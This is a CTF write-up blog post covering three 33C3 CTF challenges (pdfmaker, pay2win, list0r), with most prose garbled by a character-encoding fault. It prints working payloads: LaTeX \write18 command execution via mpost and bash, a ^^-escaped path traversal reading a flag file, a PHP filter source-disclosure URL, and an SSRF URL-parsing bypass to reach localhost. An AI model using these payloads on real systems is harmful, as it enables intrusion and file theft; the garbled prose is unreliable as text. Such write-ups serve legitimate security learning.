LoRexxar's Blog

33c32016 writeup

2017/01/03

16骞寸殑鏈鍚庡嚑澶╃湅浜嗙湅33c3鐨勯鐩︽病鎯冲埌鐨勬槸杩欎釜姣旇禌璐ㄩ噺濂囬珮锛宑tftime鏈鍚庢潈閲嶈秴杩90锛屽彲鎯滄湡鏈簡鎵浠ユ潵涓嶅強濂藉ソ鎵擄紝杩樻槸鎸哄彲鎯滅殑鈥.

pdfmaker

1
2
3
4
5
6
7
pdfmaker (75)
Solves: 133
Just a tiny application, that lets the user write some files and >compile them with pdflatex. What can possibly go wrong?
nc 78.46.224.91 24242

鍏堣创涓ょ瘒鍒汉鐨勫崥瀹
https://github.com/EdwardPwnden/ctf-2016/tree/master/33c3/pdfmaker

https://ssspeedgit00.github.io/2016/12/30/2016-33c3-m1/

浠g爜濡備笅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
import signal
import sys
from random import randint
import os, pipes
from shutil import rmtree
from shutil import copyfile
import subprocess
class PdfMaker:
def cmdparse(self, cmd):
fct = {
'help': self.helpmenu,
'?': self.helpmenu,
'create': self.create,
'show': self.show,
'compile': self.compilePDF,
'flag': self.flag
}.get(cmd, self.unknown)
return fct
def handle(self):
self.initConnection()
print " Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect."
instruction_counter = 0
while(instruction_counter < 77):
try:
cmd = (raw_input("> ")).strip().split()
if len(cmd) < 1:
continue
if cmd[0] == "exit":
self.endConnection()
return
print self.cmdparse(cmd[0])(cmd)
instruction_counter += 1
except Exception, e:
print "An Exception occured: ", e.args
self.endConnection()
break
print "Maximum number of instructions reached"
self.endConnection()
def initConnection(self):
cwd = os.getcwd()
self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
while os.path.exists(self.directory):
self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
os.makedirs(self.directory)
flag = self.directory + "/" + "33C3" + "%X" % randint(0, 2**31) + "%X" % randint(0, 2**31)
copyfile("flag", flag)
def endConnection(self):
if os.path.exists(self.directory):
rmtree(self.directory)
def unknown(self, cmd):
return "Unknown Command! Type 'help' or '?' to get help!"
def helpmenu(self, cmd):
if len(cmd) < 2:
return " Available commands: ?, help, create, show, compile.\n Type 'help COMMAND' to get information about the specific command."
if (cmd[1] == "create"):
return (" Create a file. Syntax: create TYPE NAME\n"
" TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
" NAME: name of the file (without type ending)\n"
" The created file will have the name NAME.TYPE")
elif (cmd[1] == "show"):
return (" Shows the content of a file. Syntax: show TYPE NAME\n"
" TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
" NAME: name of the file (without type ending)")
elif (cmd[1] == "compile"):
return (" Compiles a tex file with the help of pdflatex. Syntax: compile NAME\n"
" NAME: name of the file (without type ending)")
def show(self, cmd):
if len(cmd) < 3:
return " Invalid number of parameters. Type 'help show' to get more info."
if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
return " Invalid file ending. Only log, tex, sty and mp allowed"
filename = cmd[2] + "." + cmd[1]
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)
if full_filename.startswith(self.directory) and os.path.exists(full_filename):
with open(full_filename, "r") as file:
content = file.read()
else:
content = "File not found."
return content
def flag(self, cmd):
pass
def create(self, cmd):
if len(cmd) < 3:
return " Invalid number of parameters. Type 'help create' to get more info."
if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
return " Invalid file ending. Only log, tex, sty and mp allowed"
filename = cmd[2] + "." + cmd[1]
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)
if not full_filename.startswith(self.directory):
return "Could not create file."
with open(full_filename, "w") as file:
print "File created. Type the content now and finish it by sending a line containing only '\q'."
while 1:
text = raw_input("");
if text.strip("\n") == "\q":
break
write_to_file = True;
for filter_item in ("..", "*", "/", "\\x"):
if filter_item in text:
write_to_file = False
break
if (write_to_file):
file.write(text + "\n")
return "Written to " + filename + "."
def compilePDF(self, cmd):
if (len(cmd) < 2):
return " Invalid number of parameters. Type 'help compile' to get more info."
filename = cmd[1] + ".tex"
full_filename = os.path.join(self.directory, filename)
full_filename = os.path.abspath(full_filename)
print full_filename
if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):
return "Could not compile file."
print pipes.quote(full_filename)
compile_command = "cd " + self.directory + " && pdflatex " + pipes.quote(full_filename)
compile_result = subprocess.check_output(compile_command, shell=True)
return compile_result
def signal_handler_sigint(signal, frame):
print 'Exiting...'
pdfmaker.endConnection()
sys.exit(0)
if __name__ == "__main__":
signal.signal(signal.SIGINT, signal_handler_sigint)
pdfmaker = PdfMaker()
pdfmaker.handle()

绋嶅井鐮旂┒涓涓嬩唬鐮侊紝鍙互鍙戠幇鍑犱釜鍔熻兘
1銆乧reate鍙互鍒涘缓log, tex, sty, mp, bib鍚庣紑鐨勬枃浠讹紝骞跺啓鍏ュ唴瀹
2銆佸唴瀹逛細缁忚繃涓娆¤繃婊"..", "*", "/", "\\x"锛岃繖浜涘唴瀹归兘浼氳杩囨护鎺
3銆乻how鏂规硶鍙互鏄剧ず鍚庣紑涓簂og, tex, sty, mp, bib鐨勫唴瀹
4銆乧ompile鏂规硶鍙互鎶妕ex鍚庣紑鐨勬枃浠剁紪璇戜负pdf锛岄伒寰殑鏄痯dflatex璇硶

鍏蜂綋璇硶鍙互鐪
http://theoval.cmp.uea.ac.uk/~nlct/latex/pdfdoc/pdfdoc/pdfdoc.html

鍛戒护鎵ц璇绘枃浠

浜嬪疄涓婏紝latex璇硶涓槸鍙互鎵цshell鍛戒护鐨勶紝鍏蜂綋鍙互鐪嬭繖绡囨枃绔

https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

绫讳技浜庤繖鏍\immediate\write18{ls>out.log}锛屾棤濂堢殑鏄紝杩欎釜鏂规硶宸茬粡琚鐢ㄤ簡

骞歌繍鐨勬槸锛屾垜浠繕鍙互鍒涘缓md鏍煎紡鐨create mp test

1
2
3
4
5
6
7
8
9
10
verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
bye
\q

鐒跺悗鍐欏叆tex鏂囦欢锛岀紪璇戞墽琛屽懡浠わ紝鏈変釜鍊煎緱娉ㄦ剰鐨勬槸濡傛灉鐩存帴鎵цcat file > xxx.log骞朵笉浼氭墽琛岋紝鍏朵腑绌烘牸蹇呴』浣跨敤${IFS}鏉ユ浛鎹紝璋冪敤bash鏉ユ墽琛屽懡浠わ紝鍏蜂綋濡備笅锛

1
2
3
4
5
6
7
create tex lol
\documentclass{article}
\begin{document}
\immediate\write18{mpost -ini \"-tex=bash -c (cat${IFS}$(find${IFS}.))>ls.log\" \"test.mp\"}
\end{document}
\q

鎺ョ潃缂栬瘧锛屾煡鐪嬪搴旂殑log锛屽氨鍙互寰楀埌flag浜

1
33C3_pdflatex_1s_t0t4lly_s3cur3!

璇绘枃浠舵柟寮

闄や簡缂栧啓md鏍煎紡鎵ц鍛戒护浠ュ锛屼簨瀹炰笂杩樻湁鏇村鍔炴硶鏉ヨ鍙栨枃浠惰幏鍙杅lag锛屼篃璁镐綘瑙夊緱鏂囦欢鍚嶆湭鐭ワ紝鎴戜滑娌″姙娉曟潵璇诲彇flag锛屼絾涔熻浣犲繕璁颁簡../../flag杩欓噷杩樻湁涓涓猣lag銆

鏍稿績闂鍦ㄤ簬濡備綍缁曡繃..鐨勮繃婊

鍦╬dflatex璇硶涓紝鍙互鐢^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67鏉ヤ唬鏇../../flag锛岄偅涔堣剼鏈涓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
payload = """
\documentclass{article}
\\begin{document}
Hello world, this is \LaTeX
\\newwrite\outfile
\openout\outfile=out.log
\\newread\\file
\openin\\file=^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67
\\read\\file to\\fileline
\write\outfile{\\fileline}
\closein\\file
\closeout\outfile
\end{document}
\q
"""

缂栬瘧璇诲彇鏃㈠彲

pay2win

1
2
pay2win 鈥 Web
Do you have enough money to buy the flag?

鏁翠釜棰樼洰鍋氳捣鏉ュ緢闅惧彈锛屽仛浜嗘劅瑙夐潪甯稿儚鏄己琛屽嚭棰樷

棣栧厛杩涘幓鎴戜滑鍙戠幇鑳藉璐拱cheap鍜宖lag涓や釜锛岄渶瑕佽緭鍏ヤ竴涓悎鐞嗙殑淇$敤鍗″彿锛岀綉涓婇殢渚挎壘涓涓俊鐢ㄥ崱灏卞彲浠ヨ喘涔癱heap锛屼絾璐拱flag鏃跺欙紝灏变細鏄剧ず棰濆害涓嶅锛岀劧鍚庯紝杩欐椂鍊欑悊鎵褰撶劧鐨勪互涓鸿鎵句釜棰濆害澶т簬20涓囩殑淇$敤鍗″彿锛屼簬鏄爺绌朵簡涓澶滅殑淇$敤鍗$绫烩

浣嗕粩缁嗘兂鍙互鎯冲埌锛屼富鍔炴柟搴旇鏄病鏈夊姙娉曞垽鏂俊鐢ㄥ崱鐨勯搴︾殑锛屾墍浠ラ噸鏂板瑙嗛鐩紝鎴戜滑鍙戠幇濡傛灉璐拱鎴愬姛鐨勮瘽锛宒ata鐨勬暟鎹潡浼氬彂鐢熷彉鍖

image_1b5a4fdv5nso1euk4171vh61sk69.png-352.1kB

鎴戜滑鍙戠幇鎸夌収鍒氬ソ鍙互8bit涓鍒嗭紝鐒跺悗璐拱鎴愬姛鍚庯紝涓棿鐨勯儴鍒嗕細鍙戠敓鍙樺寲

鍙嶅淇敼鍙互鎵惧埌鎵璋撳偍瀛樻枃浠跺悕鐨勯儴鍒嗭紝淇敼閭i儴鍒唃etflag銆

list0r

ctftime涓婃湁2绡囨枃绔犺繕鏄洰涓嶉敊鐨勩

https://dollberg.xyz/ctf/2016/12/29/33C3-CTF-list0r/

https://github.com/p4-team/ctf/tree/master/2016-12-27-33c3/web_400_list0r

鎵撳紑涔嬪悗闅忎究閫涢涳紝灏辫兘鍙戠幇鎵鏈夐〉闈㈡槸閫氳繃鍖呭惈杩涙潵鐨勶紝閭d箞鎴戜滑鍙互閫氳繃浼崗璁潵璇绘簮鐮

1
http://78.46.224.80/?page=php://filter/read=convert.base64-encode/resource=profile

涓嶅緱涓嶈锛岃繖鏄釜铔ぇ鐨勭珯锛岄浂闆舵暎鏁e姛鑳介潪甯稿锛屼絾鏄紝浠旂粏瑙傚療鍙戠幇涓涓瘮杈冨急鐨勫嚱鏁帮紝鍦functions.php

1
2
3
4
5
6
7
8
9
10
function verify_password($username, $password) {
global $redis;
$user_id = $redis->hget("users", $username);
if ($user_id) {
$real_pass = $redis->hget("user:$user_id", "password");
return $user_id;
}
return FALSE;
}

鎴戜滑鑳芥敞鎰忓埌锛岃繖閲屽苟娌℃湁楠岃瘉瀵嗙爜锛屾垜浠彲浠ョ洿鎺ョ櫥闄哸dmin鐢ㄦ埛锛岃繘鍏ュ埌鐢ㄦ埛鍚庯紝鎴戜滑鍙戠幇list鏈夊嚑涓彁绀

image_1b5f9kuqrqaqq4pdolislj9tm.png-43.2kB

鎴戜滑鐭ラ亾浜唂lag鐨勪綅缃紝鐩存帴璁块棶鎴戜滑鍙戠幇
image_1b5f9mhh41hvf13b0jgq19sv14tc13.png-18.8kB

绋嶅井璇曚笅鍙戠幇杩欎釜涓滆タ鏄粫涓嶈繃鍘荤殑锛屾墍浠ユ壘鎵惧埆鐨勪笢瑗垮惂

寰堝揩灏辫兘鍙戠幇锛岃繖涓ご鍍忓鍙互閫氳繃鎻愪氦閾炬帴鏉ュ緱鍒板唴瀹癸紝濡傛灉鎴戜滑鑳界粫杩囪繖閲岀殑璇濓紝鎴戜滑鍙互鎴愬姛鐨勬瀯閫犱竴涓猻srf

image_1b5fa0r9f1tl385i1qc3nj6o2d1g.png-46.1kB

鐪嬬湅浠g爜

1
2
3
4
5
6
7
8
9
if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
$pic = get_contents($_POST["pic"]);
if (!is_image($pic)) {
die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
} else {
$pic_name = "profiles/" . sha1(rand());
file_put_contents($pic_name, $pic);
}
}

鏈変釜姣旇緝鍏抽敭鐨勬槸get_content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
function in_cidr($cidr, $ip) {
list($prefix, $mask) = explode("/", $cidr);
return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}
function get_contents($url) {
$disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];
do {
$url_parts = parse_url($url);
if (!array_key_exists("host", $url_parts)) {
die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
}
$host = $url_parts["host"];
if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
$ip = $host;
} else {
$ip = dns_get_record($host, DNS_A);
if (count($ip) > 0) {
$ip = $ip[0]["ip"];
debug("Resolved to {$ip}");
} else {
die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
}
}
foreach ($disallowed_cidrs as $cidr) {
if (in_cidr($cidr, $ip)) {
die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
}
}
// all good, curl now
debug("Curling {$url}");
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
curl_setopt($curl, CURLOPT_TIMEOUT, 3);
curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL
& ~CURLPROTO_FILE
& ~CURLPROTO_SCP); // no files plzzz
curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz
$data = curl_exec($curl);
if (!$data) {
die("<p><h3 style=color:red>something went wrong....</h3></p>");
}
if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
die("<p><h3 style=color:red>Timeout!! thats a slowass server</h3></p>");
}
// check for redirects
$status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
if ($status >= 301 and $status <= 308) {
$url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
} else {
return $data;
}
} while (1);
}

浠旂粏鐪嬶紝鎴戜滑寰堝鏄撳彂鐜帮紝鍏跺疄瀛樺湪涓浜涢棶棰橈紝濡傛灉鑾峰彇鐨勫唴瀹逛笉鏄浘鐗囷紝鍒欎細鏄剧ず鍑烘潵锛岄偅涔堢湅鏉ワ紝杩欏氨鏄畼鏂圭暀缁欐垜浠幏鍙杅lag鐨勬柟寮忥紝閭d箞闂灏卞湪浜庢庝箞缁曡繃get_content鐨勯獙璇佷簡銆

鎴戜滑鍙戠幇锛岃矊浼兼槸鎷︽埅浜嗕换浣曡姹傛湰鍦扮殑鏂瑰紡锛屼絾鏄痠p鐨勯獙璇佹槸閫氳繃parse_url鏉ュ垽鏂殑锛岃姹傛槸閫氳繃curl瀹屾垚鐨勩

杩欓噷鎻愬埌浜2绉嶆柟寮忔潵瑙e喅锛岄鍏堟槸绗竴绉嶏紝閫氳繃鎻愪緵鐢ㄦ埛鍚嶅瘑鐮佺殑缁曡繃鏂瑰紡锛宲ayload锛

1
2
3
4
5
6
7
8
9
10
11
http://what:ever@127.0.0.1:80@33c3ctf.ccc.ac/reeeaally/reallyy/c00l/and_aw3sme_flag
php 灏嗕細杩欎箞瑙f瀽
array (
'scheme' => 'http',
'host' => '33c3ctf.ccc.ac',
'user' => 'what',
'pass' => 'ever@127.0.0.1:80',
'path' => '/reeeaally/reallyy/c00l/and_aw3sme_flag',
)

浣嗘槸鍦╟url鐪嬫潵骞朵笉鏄繖鏍风殑锛岄摼鎺ヤ細琚В鏋愪负锛寃hat鏄敤鎴峰悕锛宔ver鏄瘑鐮侊紝host涓127鈥.

鎵浠ユ垜浠幏鍙栧緱浜唂lag

杩樻湁涓绉嶇湅涓婂幓鏄氳繃鎵璋撶殑璐熻浇鍧囪 鐨勫疄鐜扮殑锛屼絾鍏蜂綋涓嶆槸寰堟竻妤氾紝涓嶇煡閬撴庝箞瀹為獙涓涓
image_1b5fb5vmq16toguhf5c1t1m1g121t.png-12.4kB

CATALOG
  1. 1. pdfmaker
    1. 1.1. 鍛戒护鎵ц璇绘枃浠
    2. 1.2. 璇绘枃浠舵柟寮
  2. 2. pay2win
  3. 3. list0r